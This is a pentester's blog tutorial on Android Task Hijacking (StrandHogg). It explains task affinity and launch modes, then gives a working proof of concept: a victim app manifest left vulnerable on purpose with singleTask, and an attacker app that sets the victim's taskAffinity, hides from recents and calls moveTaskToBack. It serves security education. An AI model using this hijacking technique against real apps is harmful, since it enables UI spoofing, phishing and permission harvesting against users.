A deep dive into Task Hijacking in Android

I'm leading the Research at Credshields, and Pentest teams at Cobalt Labs and HackerOne. I occasionally blog about my findings and adventures in pentesting.
Search for a command to run...

I'm leading the Research at Credshields, and Pentest teams at Cobalt Labs and HackerOne. I occasionally blog about my findings and adventures in pentesting.
No comments yet. Be the first to comment.
Overview During a recent pentest of an iOS health application (let's call it MedVault), I came across something interesting. The app was using custom URL schemes for deep linking but had no Universal

Analysis and PoC of Damn Vulnerable DeFi Level 06 - Selfie

Analysis and PoC of Damn Vulnerable DeFi Level 05 - The Rewarder

Analysis and PoC of Damn Vulnerable DeFi Level 04 - Side Entrance

Analysis and PoC of Damn Vulnerable DeFi Level 03 - Truster

Task Hijacking is a vulnerability that affects the applications running on Android devices due to a misconfiguration in their AndroidManifest.xml with their Task Control features.
This allows attackers/malware to takeover legitimate apps and steal user's data and carry out a range of attacks like
This is also dubbed as StrandHogg by the Promon Security researchers but the initial research paper was presented at USENIX in 2015.
A task is a collection of activities that users interact with when performing a certain job. The activities are arranged in a stack—the back stack)—in the order in which each activity is opened.
The activity that is displayed on the screen is called a foreground activity and its task is called the foreground task. At a time, only one foreground task is visible on the screen. This explanation video by Android explains the concept pretty well
This visualization from Android helps in explaining how different tasks work when they're put to the foreground or removed from the back stack. This is using Back Stack and as the name suggests it's a type of Stack Data Structure with the LIFO order.
According to the Android security model, all the apps running on the device will be isolated and sandboxed from one another but this is not the case when it comes to the Tasks.
Android allows Activities from different apps to co-reside in the same Task and this is the root cause of the vulnerability.
Task affinity is an attribute that is defined in each <activity> tag in the AndroidManifest.xml file. It describes which Task an Activity prefers to join.
By default, every activity has the same affinity as the package name.
We'll be using this when creating our PoC app.
<activity android:taskAffinity=""/>
Launch modes allow you to define how a new instance of an activity is associated with the current task. The launchMode attribute specifies an instruction on how the activity should be launched into a task.
There are four different Launch Modes:
When identifying if Task Hijacking exists in an app, we'll be looking for this flag in the Manifest files of the applications. The attack described below is possible because of the usage of mode " singleTask" in the launchMode of an activity.
You can read more about them in detail here
When the launchMode is set to singleTask, the Android system evaluates three possibilities and one of them is the reason why our attack is possible. Here they are -
Below PoC code has been taken from the original article and case study from TakeMyHand's Security Blog. Kudos to him for introducing me to the concept of Task Hijacking.
Let's first create a vulnerable victim's application. Fire up the Android studio with an Empty activity. A complete source code can be found in my Github repository.
The AndroidManifest.xml of victim's app (Super Secure App) is shown below.
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.zombie.ssa">
<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:logo="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/Theme.SuperSecureApp">
<activity android:name=".LoggedIn"></activity>
<activity android:name=".MainActivity" android:launchMode="singleTask">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>
Note the line with android:launchMode="singleTask". This is where the vulnerability exists.
Now let's see the PoC for the Attacker's app. This is the AndroidManifest.xml.
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
package="com.zombie.attackerapp"
tools:ignore="ExtraText">
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/Theme.AttackerApp"
android:taskAffinity="com.zombie.ssa">
<activity android:name=".MainActivity" android:launchMode="singleTask" android:excludeFromRecents="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>
Here, since we want to target our Super secure app, we'll define the task affinity using it's package name - android:taskAffinity="com.zombie.ssa"
Another flag android:excludeFromRecents ensures the task is not listed in the recent apps, therefore, hiding the attacker's app.
Attacker's MainActivity.java can be seen below
package com.zombie.attackerapp;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import android.Manifest;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.Build;
import android.os.Bundle;
import android.view.View;
import android.widget.EditText;
import android.widget.TextView;
import com.google.android.material.snackbar.Snackbar;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
moveTaskToBack(true);
}
@Override
public void onResume(){
super.onResume();
setContentView(R.layout.activity_main);
}
}
moveTaskToBack(true) is being used to move the task containing this activity to the back of the activity stack.
When all of this is combined and installed on a device, here's how the attack works.
This is just a simple demonstration but the consequences can range from a simple UI Spoofing attack to permission harvesting as done by the Promon Security Team which will make it look like the real app is requesting permissions but in actuality, the malware will be using them to exploit further.
References